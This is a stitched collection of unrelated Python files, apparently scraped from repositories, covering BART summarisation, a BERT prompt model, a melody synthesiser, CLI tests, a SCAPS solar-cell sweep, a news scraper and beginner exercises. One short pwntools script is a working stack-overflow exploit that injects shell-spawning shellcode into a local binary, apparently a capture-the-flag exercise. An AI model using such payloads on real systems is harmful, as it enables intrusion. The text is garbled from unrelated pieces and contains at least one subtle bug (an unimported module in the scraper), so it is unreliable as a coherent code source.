            # Remove summurized ids and add [CLS] in the beggining
            input_ids = torch.cat((torch.tensor([0]).unsqueeze(-2).to(device), input_ids[0][1023:].unsqueeze(-2)), dim=-1)
        # After loop is done, get summary of the last ids
        sum_part = bart_model.generate(input_ids, max_length=510, num_beams=4, early_stopping=True)
        # And add it to the result
        summ = torch.cat((summ, sum_part), dim=-1)
        # Return the result
        return summ

    # For every sentence...
    for i in range(len(sentences)):
        if i%10000 == 0:
            print(f'Processed over {i} elements')

        # Tokenize the text and add `[CLS]` and `[SEP]` tokens.
        input_ids = bart_tok.encode(sentences[i], return_tensors="pt").clone().detach().requires_grad_(False).to(device)

        # If sentence length is between 512 and 1024
        if 512<len(input_ids[0])<=1024:
            # Summarize sententce to max 510 tokens
            sentences[i] = single_summarise(input_ids)
        # If sentence is more then 1024 tokens
        elif len(input_ids[0])>1024:
            # While its more then 510 tokens
            while len(input_ids[0])>510:
                # Summurize it
                input_ids = large_summarize(input_ids)
            # After its summurized, decode it and update the sentence
            sentences[i] = bart_tok.decode(input_ids[0], skip_special_tokens=True)


import torch.nn as nn
import random
import torch
from transformers import AutoConfig, RobertaConfig, BertConfig, RobertaForMaskedLM, BertForMaskedLM, RobertaTokenizer, BertTokenizer, GPT2Config, GPT2Tokenizer, GPT2LMHeadModel
import numpy as np
import torch.nn.functional as F
from .distance_metric import js_div, ws_dis
import geomloss

random.seed(0)

def normalize(data):
    return torch.nn.functional.normalize(data, dim=1)

def js_div(p, q):
    kldiv = nn.KLDivLoss(reduction='none')
    log_mean = ((p+q) / 2).log()
    sim = (kldiv(log_mean, p)+kldiv(log_mean, q)) / 2
    sim = sim.sum(1)
    return sim

class PretrainModel(nn.Module):
    def __init__(self, model_name, alpha=0.4, blank_token='[BLANK]', sep_token=['In', 'this', 'sentence', ','], prompt_tokens=['is', 'a'], device='cuda:0', label_ids=None):
        nn.Module.__init__(self)
        #config = AutoConfig.from_pretrained(model_name,  local_files_only = True)
        #if isinstance(config, RobertaConfig):
        #    self.model = RobertaForMaskedLM.from_pretrained(model_name)
        #    self.tokenizer = RobertaTokenizer.from_pretrained(model_name)
            #self.word_embedding = self.model.roberta.get_input_embeddings()
        #elif isinstance(config, BertConfig):
        self.model = BertForMaskedLM.from_pretrained(model_name)
        self.tokenizer = BertTokenizer.from_pretrained(model_name)
            #self.word_embedding = self.model.bert.get_input_embeddings()
        #elif isinstance(config, GPT2Config):
        #    self.model = GPT2LMHeadModel.from_pretrained(model_name)
        #    self.tokenizer = GPT2Tokenizer.from_pretrained(model_name)
        #else:
        #    print('unsupported model name')
        #    raise ValueError
        self.alpha = alpha
        self.blank_token = blank_token
        self.sep_token = sep_token
        self.prompt_tokens = prompt_tokens
        self.device = device

        self.tokenizer.add_tokens([self.blank_token] + self.sep_token + self.prompt_tokens)
        self.model.resize_token_embeddings(len(self.tokenizer))
        if 'cuda' in device:
            self.model = nn.DataParallel(self.model)

        self.label_ids = label_ids
        if self.label_ids is None:
            print('no label_ids, use hidden_state!')

    def get_prompt_sentence(self, sent, pos, entity_name):
        # replace entities
        entity = entity_name.split(' ')
        prob = random.random()
        if prob < self.alpha:
            entity = [self.blank_token]

        new_sent = sent[:pos[0]] + entity + sent[pos[-1]+1:] + self.sep_token + entity + self.prompt_tokens + [self.tokenizer.mask_token]
        return new_sent

    def tokenize(self, sent_list, pos, entity_name):
        new_sent_list = []
        for i , sent in enumerate(sent_list):
            new_sent = self.get_prompt_sentence(sent, pos[i], entity_name[i])
            new_sent_list.append(new_sent)
        # tokenize
        if isinstance(self.tokenizer, GPT2Tokenizer):
            self.tokenizer.pad_token = self.tokenizer.eos_token
        tokenized_sent = self.tokenizer(new_sent_list, is_split_into_words=True, return_tensors='pt', padding=True)
        return tokenized_sent['input_ids'].to(self.device), tokenized_sent['attention_mask'].to(self.device)

    def get_mask_logits(self, input_ids, attention_mask):
        output = self.model(input_ids=input_ids, attention_mask=attention_mask, output_hidden_states=True, return_dict=True)
        pred_pos = -2 # the token position for token prediction

        if isinstance(self.tokenizer, GPT2Tokenizer):
            pred_pos = -1

        mask_logits_all = []
        logits = output.logits
        #print(logits.shape)
        for i, logit in enumerate(logits):
            cur_mask_logits_all = logit[attention_mask[i]==1,:][pred_pos].unsqueeze(0)
            mask_logits_all.append(cur_mask_logits_all)
        mask_logits_all = torch.cat(mask_logits_all, dim=0) # (batch_size, vocab_size)
        #print(mask_logits_all.shape)

        mask_logits = []
        for label_id in self.label_ids:
            mask_logits.append(torch.mean(mask_logits_all[:,label_id], dim=1).unsqueeze(-1)) # (batch_size, 1)
        mask_logits = torch.cat(mask_logits, dim=-1) # (batch_size, label_size)
        #print(mask_logits.shape)
        return mask_logits

    def get_mask_hidden_state(self, input_ids, attention_mask):
        output = self.model(input_ids=input_ids, attention_mask=attention_mask, output_hidden_states=True)
        pred_pos = -2 # the token position for token prediction

        if isinstance(self.tokenizer, GPT2Tokenizer):
            pred_pos = -1
        mask_hidden_states = []
        hidden_states = output.hidden_states[1]
        for i, state in enumerate(hidden_states):
            mask_hidden_states.append(state[attention_mask[i]==1,:][pred_pos].unsqueeze(0))
        mask_hidden_states = torch.cat(mask_hidden_states, dim=0)
        return mask_hidden_states

    def save(self, save_path):
        if isinstance(self.model, nn.DataParallel):
            self.model.module.save_pretrained(save_path)
        else:
            self.model.save_pretrained(save_path)

    def load(self, load_path):
        if isinstance(self.model, nn.DataParallel):
            self.model.module.from_pretrained(load_path)
        else:
            self.model.from_pretrained(load_path)

    def get_prior_distribution(self, inputs):
        sent1_input, sent1_mask = self.tokenize(inputs['sent1'], inputs['pos1'], inputs['entity_name'])
        sent2_input, sent2_mask = self.tokenize(inputs['sent2'], inputs['pos2'], inputs['entity_name'])
        sent1_logits = self.get_mask_logits(sent1_input, sent1_mask)
        sent2_logits = self.get_mask_logits(sent2_input, sent2_mask)
        sent1_tag_dist = F.softmax(sent1_logits, dim=1)
        sent2_tag_dist = F.softmax(sent2_logits, dim=1)
        tag_dist = torch.cat([sent1_tag_dist, sent2_tag_dist], dim=0)
        return tag_dist

    def forward(self, inputs, prior_dist = None):
        # inputs:{'sent1':List[List[str]], 'sent2':List[List[str]],
        #'pos1': List[List[int]], 'pos2': List[List[int]], 'entity_name':str}
        sent1_input, sent1_mask = self.tokenize(inputs['sent1'], inputs['pos1'], inputs['entity_name'])
        sent2_input, sent2_mask = self.tokenize(inputs['sent2'], inputs['pos2'], inputs['entity_name'])
        if self.label_ids is None:
            sent1_hidden_state = self.get_mask_hidden_state(sent1_input, sent1_mask)
            sent2_hidden_state = self.get_mask_hidden_state(sent2_input, sent2_mask)
        else:
            sent1_logits = self.get_mask_logits(sent1_input, sent1_mask)
            sent2_logits = self.get_mask_logits(sent2_input, sent2_mask)
            sent1_hidden_state = F.softmax(sent1_logits, dim=1)
            sent2_hidden_state = F.softmax(sent2_logits, dim=1)
        if prior_dist is not None:
            sent1_hidden_state = sent1_hidden_state / prior_dist
            sent2_hidden_state = sent2_hidden_state / prior_dist
            sent1_hidden_state = F.softmax(sent1_hidden_state, dim=1)
            sent2_hidden_state = F.softmax(sent2_hidden_state, dim=1)

            #sent1_hidden_state, sent2_hidden_state = self.select_top_states(sent1_logits, sent2_logits)
            #print(sent1_hidden_state.shape)
        # compute score
        if self.label_ids is None:
            p = F.cosine_similarity(sent1_hidden_state, sent2_hidden_state)
            p = 0.5 + 0.5 * p
        else:
            # p = js_div(sent1_hidden_state, sent2_hidden_state) # [0, 1] larger number indicates less similarity
            # p = ws_dis(sent1_hidden_state, sent2_hidden_state)
            p = geomloss.SamplesLoss()(sent1_hidden_state.unsqueeze(1), sent2_hidden_state.unsqueeze(1))
            # p = p / (1+p)
            # print(p[:10])
            p = 1-p
        return sent1_hidden_state, sent2_hidden_state, p

class MTBLoss(nn.Module):
    def __init__(self):
        nn.Module.__init__(self)

    def forward(self, sent1_embed, sent2_embed, p, labels):
        loss = torch.sum(torch.mul(labels, torch.log(p+1e-6)) + torch.mul((1-labels), torch.log(1-p+1e-6)))
        # assert torch.isnan(loss).sum() == 0, print(torch.log(p+1e-6))
        return - loss / sent1_embed.size(0)

    # def forward(self, sent1_embed, sent2_embed, p, labels):
    #     loss = torch.sum(torch.mul(labels, torch.log(p+1e-6)) - torch.mul((1-labels), torch.log(p+1e-6)))
    #     # assert torch.isnan(loss).sum() == 0, print(torch.log(p+1e-6))
    #     return - loss / sent1_embed.size(0)


lista = []
cont = 0
while True:
    lista.append(int(input('Digite um valor: ')))
    cont += 1
    continuar = str(input('Quer Continuar? [S/N] ')).upper()
    if continuar == 'N':
        break
    else:
        continue
print(f'Você digitou {cont} elementos')
lista.sort(reverse=True)
print(f'Os valores em ordem decrescente {lista}')
if 5 in lista:
    print('5 está na lista')
else:
    print('5 não está na lista')


#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")

p=process('./hello')
shellcode=asm(shellcraft.sh())
len_sc=len(shellcode)
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
with open('payload.txt', 'w') as f:
	f.write(payload)
p.sendline(payload)
p.interactive()


## Authors: Daler Norkulov, Kendall Molas
from scipy import signal
from scipy.io.wavfile import write
import matplotlib.axes
import matplotlib.pyplot as plt
import numpy as np
from scipy.fftpack import fft, rfft

##
# Standard sampling rate of audio cds.
# @input: Some sampling rate that is within the range of the harmonics
sampling_rate = 44100

##
# Notes within the 4 and 5th harmonic range
# Fundamental frequencies determined from https://en.wikipedia.org/wiki/Scientific_pitch_notation
C5_freq = 523.25
B4_freq = 493.88
G4_freq = 392.00
A4_freq = 440.00
F4_freq = 349.23
E4_freq = 329.63
C4_freq = 261.63

'''
Time signature is a 4/4 so each note have specific durations
quarter note: 1s
eighth note with dot notation : 0.75s
eight note: 0.5s
sixteenth note: 0.25s
'''

quarter_note = 1
eighth_note = 0.5
eighth_note_with_dot = 0.75
sixteenth_note = 0.25

# Creates a numpy array with parameters: start, end, number of samples to generate (amount of time sound plays)
# Creation of numpy arrays that will allow the notes to play for the specific durations
quarter_note_sampling_time = np.linspace(0, quarter_note, quarter_note*sampling_rate)
eighth_note_with_dot_sampling_time = np.linspace(0, eighth_note_with_dot, eighth_note_with_dot*sampling_rate)
sixteenth_note_sampling_time = np.linspace(0, sixteenth_note, sixteenth_note*sampling_rate)
eighth_note_sampling_time = np.linspace(0, eighth_note, eighth_note*sampling_rate)

# Measure 1
measure_1_note_1 = signal.chirp(quarter_note_sampling_time, C5_freq, quarter_note, C5_freq)
measure_1_note_2 = signal.chirp(eighth_note_with_dot_sampling_time, G4_freq, eighth_note_with_dot, G4_freq)
measure_1_note_3 = signal.chirp(sixteenth_note_sampling_time, A4_freq, sixteenth_note, A4_freq)
measure_1_note_4 = signal.chirp(quarter_note_sampling_time, B4_freq, quarter_note, B4_freq)
measure_1_note_5 = signal.chirp(eighth_note_sampling_time, E4_freq, eighth_note, E4_freq)
measure_1_note_6 = signal.chirp(eighth_note_sampling_time, E4_freq, eighth_note, E4_freq)

# Measure 2
measure_2_note_1 = signal.chirp(quarter_note_sampling_time, A4_freq, quarter_note, A4_freq)
measure_2_note_2 = signal.chirp(eighth_note_with_dot_sampling_time, G4_freq, eighth_note_with_dot, G4_freq)
measure_2_note_3 = signal.chirp(sixteenth_note_sampling_time, F4_freq, sixteenth_note, F4_freq)
measure_2_note_4 = signal.chirp(quarter_note_sampling_time, G4_freq, quarter_note, G4_freq)
measure_2_note_5 = signal.chirp(eighth_note_sampling_time, C4_freq, eighth_note, C4_freq)
measure_2_note_6 = signal.chirp(eighth_note_sampling_time, C4_freq, eighth_note, C4_freq)

# Combine into one big numpy array...
total_measures = np.hstack((measure_1_note_1, measure_1_note_2, measure_1_note_3, measure_1_note_4,
measure_1_note_5, measure_1_note_6, measure_2_note_1, measure_2_note_2, measure_2_note_3, measure_2_note_4,
measure_2_note_5, measure_2_note_6))

# Output audio clip from frequencies
# Measures are all in continuous time already, so no need to multiply by 2.
write("USSR.wav", sampling_rate, total_measures)

# Duration of the created song
song_duration = np.size(total_measures)/sampling_rate

# X axis for the time based graph
time_sampled_for_time_graph = np.linspace(0, song_duration, np.size(total_measures))

# X axis for the frequency based graph
time_sampled_for_frequency_graph = np.linspace(0, sampling_rate, np.size(total_measures))

##
# Plotting
fig, (time_plot, frq_plot, spectogram_plot) = plt.subplots(3,1, sharex=False, sharey=False, figsize=(5,5))
plt.tight_layout()

#
# Because there is sound constantly playing, the output of this time graph will look like a blue signal
# Time Domain Graph
time_plot.plot(time_sampled_for_time_graph, total_measures)
time_plot.set_xlabel("Time (sec)")
time_plot.set_ylabel("Amplitude")

#
# Frequency Graph
x = abs(fft(total_measures))
frq_plot.plot(time_sampled_for_frequency_graph, x, 'r')
frq_plot.set_xlabel("Frequency (Hz)")
frq_plot.set_ylabel("|Y(jw)|")

#
# Spectrogram graph
f, t, Sxx = signal.spectrogram(total_measures, sampling_rate)

# Plots quadrilateral mesh
spectogram_plot.pcolormesh(t,f,Sxx)
spectogram_plot.set_ylabel("Frequency (Hz)")
spectogram_plot.set_xlabel("Time (sec)")
plt.show()


"""Test cli translate module."""
import json
from click.testing import CliRunner

from honeybee.model import Model

from honeybee_radiance.cli.edit import add_room_sensors, add_face3d_sensors, \
    mirror_model_sensors, reset_resource_ids

def test_reset_resource_ids():
    runner = CliRunner()
    input_hb_model = './tests/assets/model/shoe_box_mod_set.hbjson'

    c_args = [input_hb_model, '-uuid']
    result = runner.invoke(reset_resource_ids, c_args)
    assert result.exit_code == 0
    model_dict = json.loads(result.output)
    new_model = Model.from_dict(model_dict)
    new_con_set = new_model.properties.radiance.modifier_sets[0]
    old_id = 'ClimateZone_2_ModifierSet'
    assert new_con_set.identifier.startswith(old_id)
    assert new_con_set.identifier != old_id

def test_add_room_sensors():
    runner = CliRunner()
    input_hb_model = './tests/assets/model/model_radiance_dynamic_states.hbjson'

    result = runner.invoke(add_room_sensors, [input_hb_model])
    assert result.exit_code == 0
    model_dict = json.loads(result.output)
    new_model = Model.from_dict(model_dict)
    assert len(new_model.properties.radiance.sensor_grids) == 2

def test_add_face3d_sensors():
    runner = CliRunner()
    input_hb_model = './tests/assets/model/model_radiance_dynamic_states.hbjson'
    input_file = './tests/assets/model/face3d_array.json'

    result = runner.invoke(add_face3d_sensors, [input_hb_model, input_file])
    assert result.exit_code == 0
    model_dict = json.loads(result.output)
    new_model = Model.from_dict(model_dict)
    assert len(new_model.properties.radiance.sensor_grids) == 1

def test_mirror_model_sensors():
    runner = CliRunner()
    input_hb_model = './tests/assets/model/two_rooms.hbjson'

    result = runner.invoke(mirror_model_sensors, [input_hb_model])
    assert result.exit_code == 0
    model_dict = json.loads(result.output)
    new_model = Model.from_dict(model_dict)
    assert len(new_model.properties.radiance.sensor_grids) == 4


#!/usr/bin/env python

from __future__ import unicode_literals, division

__author__ = "Rachel Kurchin, Riley Brandt, Daniil Kitchaev"
__date__ = "May 17, 2017"

from run_scaps_parallel import SCAPSrunner
import numpy as np
from copy import deepcopy
import pickle
import os
import argparse
import json

def scaps_output_processor(return_path):
    """
    Convert output of a SCAPS simulation to a numpy format for further processing
    """
    ii, simList, summaryList, dataLines = 0, [], [], []
    with open(return_path,'r') as f:
        for line in f:
            if 'jtot' in line: simList.append(ii)
            elif 'deduced' in line: summaryList.append(ii)
            ii += 1

    for xi, x in enumerate(simList):
        dataLines.extend(list(range(x + 2, summaryList[xi] - 1)))

    JArray, VArray = np.zeros(len(dataLines)), np.zeros(len(dataLines))

    ii = 0
    with open(return_path,'r') as f:
        for jj, line in enumerate(f):
            if jj in dataLines:
                floats = [float(x) for x in line.split("\t")]
                JArray[ii] = floats[1]
                VArray[ii] = floats[0]
                ii += 1

    return (JArray, VArray)

def scaps_script_generator(calc_param):
    """
    Generate SCAPS simulation input script as a string.
    """
    return "\n".join(["//Script file made by Python",
                       "set quitscript.quitSCAPS",
                       "load allscapssettingsfile {}".format(calc_param['def']),
                       "set errorhandling.overwritefile",
                       "set layer1.mun %f" % calc_param['mu_n_l'],
                       "set layer1.defect1.Ntotal %f" % calc_param['Nt_SnS_l'],
                       "set layer2.chi %f" % calc_param['EA_ZnOS_l'],
                       "set interface1.IFdefect1.Ntotal %f" % calc_param['Nt_i_l'],
                       "action workingpoint.temperature %f" % calc_param['T_l'],
                        "action iv.startv %f" % 0.0,
                        "action iv.stopv %f" % calc_param['V_max'],
                        "action iv.increment %f" % 0.02,
                        "action intensity.T %f" % calc_param['ill_l'],
                        "calculate"])

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-si', help="Start index for this run", type=int, default=0)
    parser.add_argument('-ni', help="Number of inputs to run here", type=int, default=0)
    parser.add_argument('-node', help="Node index (proc index offset)", type=int, default=0)
    args = parser.parse_args()

    node = args.node

    # Initialize SCAPS runner object
    scaps_runner = SCAPSrunner(ncores=32,
                               input_processor=scaps_script_generator,
                               output_processor=scaps_output_processor)

    baseline_run = {'def': "SnS_base.scaps",
                    'mu_n_l': 60,
                    'Nt_SnS_l': 1e17,
                    'EA_ZnOS_l': 4.0,
                    'Nt_i_l': 1e10,
                    "V_max": 0.5}

    temperatures = np.array([280, 300, 320])
    illuminations = np.array([31, 108])
    mu_n_range = np.linspace(20, 80, 20)
    Nt_SnS_range = np.logspace(16, 18, 20)
    EA_ZnOS_range = np.linspace(3.4, 4.3, 15)
    Nt_i_range = np.logspace(10, 14, 16)

    inputs = {}
    i = 0

    for temp in temperatures:
        for ill in illuminations:
            for Nt_i in Nt_i_range:
                for mu_n in mu_n_range:
                    for Nt in Nt_SnS_range:
                        for EA in EA_ZnOS_range:
                            run=deepcopy(baseline_run)
                            baseline_run['Nt_i_l'] = Nt_i
                            run['mu_n_l'] = mu_n
                            run['Nt_SnS_l'] = Nt
                            run['EA_ZnOS_l'] = EA
                            run['T_l'] = temp
                            run['ill_l'] = ill
                            inputs[i] = run
                            i += 1

    with open("input_parameters.json", 'w') as fout:fout.write(json.dumps(inputs))

    n_batches = 16
    for batch_i in range(n_batches):
        batch_size = int((args.si + args.ni)/n_batches)
        batch_inputs = {}
        for pt_i in range(args.si + batch_i * batch_size, args.si + batch_i * batch_size + batch_size):
            batch_inputs[pt_i] = inputs[pt_i]

        # Run the inputs
        print("[Batch {}] Starting SCAPS runs ({}-{})".format(batch_i, args.si + batch_i * batch_size, args.si + batch_i * batch_size + batch_size))
        outputs = scaps_runner.run_inputs(batch_inputs, print_progress=True)

        # Save outputs
        print("[Batch {}] Saving outputs as pickles...".format(batch_i))
        pickle.dump(outputs, open("simulation_{}_{}_n{}_b{}.pickle".format(args.si + batch_i * batch_size,
                                                                           args.si + batch_i * batch_size + batch_size,
                                                                           node,
                                                                           batch_i),"wb"))


import re
import csv
from time import sleep
from bs4 import BeautifulSoup
import requests
import pandas as pd

request = 'https://news.search.yahoo.com/search?p={}'

headers = {
    'accept': '*/*',
    'accept-encoding': 'gzip, deflate, br',
    'accept-language': 'en-US,en;q=0.9',
    'referer': 'https://www.google.com',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Edg/85.0.564.44'
}

def scrape_news(query):
    """
    :param query: string to search on "yahoo.news"

    :return df: dataframe containing all the results

        Scraping over all the results within each page.
        If the button "next" (referred to the page) is available,
        it continues to iterate over all the pages
    """

    url = request.format(query)

    titles = []
    sources = []
    posted = []
    descriptions = []

    # iterate over all the available pages
    while True:

        response = requests.get(url, headers=headers)
        soup = BeautifulSoup(response.text, 'html.parser')

        # there is a "NewsArticle" class for each news headline
        # returns an array with all the articles
        articles = soup.find_all('div','NewsArticle')

        # each element has a specific tag and class
        # in order to extract the text from the html tag, use ".text"
        for article in articles:

            titles.append(article.find('h4','s-title').text.strip())
            sources.append(article.find('span','s-source').text.strip())
            posted.append(article.find('span','s-time').text.replace('.', '').strip())
            descriptions.append(article.find('p','s-desc').text.strip())

        try:
            # look for the "next" button
            # and get the link
            url = soup.find('a','next').get('href')
            time.sleep(1)
        except AttributeError:
            # otherwise exit
            break

    df = pd.DataFrame({'title' : titles, 'source' : sources, 'posted' : posted, 'description' : descriptions})

    # it might have duplicates over all the pages
    return df.drop_duplicates()

df_scraped = scrape_news('Apple')

df_scraped.to_csv('../data/AAPL-News.csv',index=False)


# This program calculates sum of numbers between 1 and 100 that are divisible by 3 and 5
#initializing a value for sum
add = 0
# initializing a variable for loop
i = 1
# creating a loop
while i <= 100:
    if i % 3 == 0 and i % 5 == 0:
        add = add + i
    else:
        add = add
    i = i + 1
# printing the sum
print("The sum of numbers between 1 and 100 that are divisible by 3 and 5 is", add)